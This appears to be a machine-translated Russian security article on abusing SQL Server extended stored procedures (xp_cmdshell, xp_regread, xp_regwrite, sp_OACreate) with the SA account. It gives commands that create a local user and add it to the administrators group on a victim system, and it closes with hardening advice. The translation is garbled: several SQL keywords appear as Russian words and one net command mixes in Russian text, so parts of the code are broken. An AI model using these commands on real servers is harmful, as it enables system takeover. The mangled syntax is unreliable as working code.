Хранимые процедуры — это набор заранее записанных SQL-операторов, хранящихся в SQLServer, среди которых наиболее опасными расширенными сохранёнными процедурами являются xp_cmdshell, которые могут выполнять любые инструкции операционной системы, а SA — это администраторская учетная запись Microsoft SQLServer, обладающая самыми высокими правами, она может выполнять расширенные хранимые процедуры и получать возвратные значения, такие как выполнение:
Исполнительный мастер... xp_cmdshell 'net user test 1234 /add' и exec master: xp_cmdshell 'net localgroup administrators test /add'
Таким образом, в систему другой стороны добавляются тест с именем пользователя, пароль 1234 и права администратора, как показано на рисунке 1.
Теперь вы должны понять, почему вы получаете пароль SA и получаете самые высокие права системы. Часто многие сетевые администраторы не знают об этой ситуации и имеют простые пароли, такие как 1234 и 4321, для своих пользователей SA, или вообще не устанавливают пароли, чтобы нарушители сети могли легко отсканировать пароль SA с помощью взлома и затем управлять компьютером.
Помимо xp_cmdshell, существуют также хранящиеся процедуры, которые могут быть использованы нарушителями:
1. xp_regread (эта расширенная хранимая процедура может считывать значение, указанное в ключе, указанном в реестре), как её использовать (получить имя машины):
ОБЪЯВИТЬ@testварчар (50) ИСПОЛНИТЕЛЬНЫЙ мастер... xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='system\controlset001\control\computername\computername', @value_name='computername', @value=@test OUTPUT SELECT @test
2. xp_regwrite (эта расширенная хранимая процедура может записывать значение, указанное в ключе, указанном в реестре), и как его использовать (записать bbb в ключе HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue):
ИСПОЛНИТЕЛЬНЫЙ мастер... xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\aaa', @value_name='aaaValue', @type='REG_SZ', @value='bbb'
Если администратор-пользователь скомпрометированного компьютера может просматривать информацию HKEY_LOCAL_MACHINE\SAM\ в реестре, то две сохранённые процедуры xp_regread и xp_regwrite могут быть использованы для клонирования администратора-пользователя и получения прав администратора. xp_regdeletekey. xp_regdeletevalue также принесёт риски безопасности системы. 3. Серия процедур хранения, связанных с OLE, включает sp_OACreate, sp_OADestroy, sp_OAGetErrorInfo, sp_OAGetProperty, sp_OAMethod, sp_OASetProperty, sp_OAStop, использование:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net user test 1234 /add'--
Таким образом, другая система добавляет тест с именем пользователя и пользователя с паролем 1234, после чего выполняет:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c администраторы локальной группы net test /add '--
Пользовательский тест, добавлен в группу администраторов. Решение: дайте SA пароль, достаточно сложный, чтобы киберзлоумышленникам было сложно взломать его. Для безопасности нам также необходимо использовать хранящиеся процедуры в SQLS sp_addextendedproc sp_dropextendedproc анализаторе запросов Erver's sp_dropextendedproc удалять хранимые процедуры, такие как xp_cmdshell, а затем использовать sp_addextendedproc восстановление при необходимости. Следует отметить, что удаление сохранённых процедур, связанных с OLE, может привести к неиспользованию некоторых функций в Enterprise Manager, и автор не рекомендует их удалять здесь.
Теперь, когда мы знаем, как использовать SP_OACREATE, мы можем зайти в \WINNT \system32, чтобы найти cmd.exe, net.exe и net1.exe три файла, и удалить всех пользователей, которые могут к ним получить доступ в разделе «Свойства» — «Безопасность», чтобы не использовать SP_OACREATE для увеличения числа системных пользователей, а также добавлять пользователей доступа, когда нам нужно получить доступ к этим файлам.
|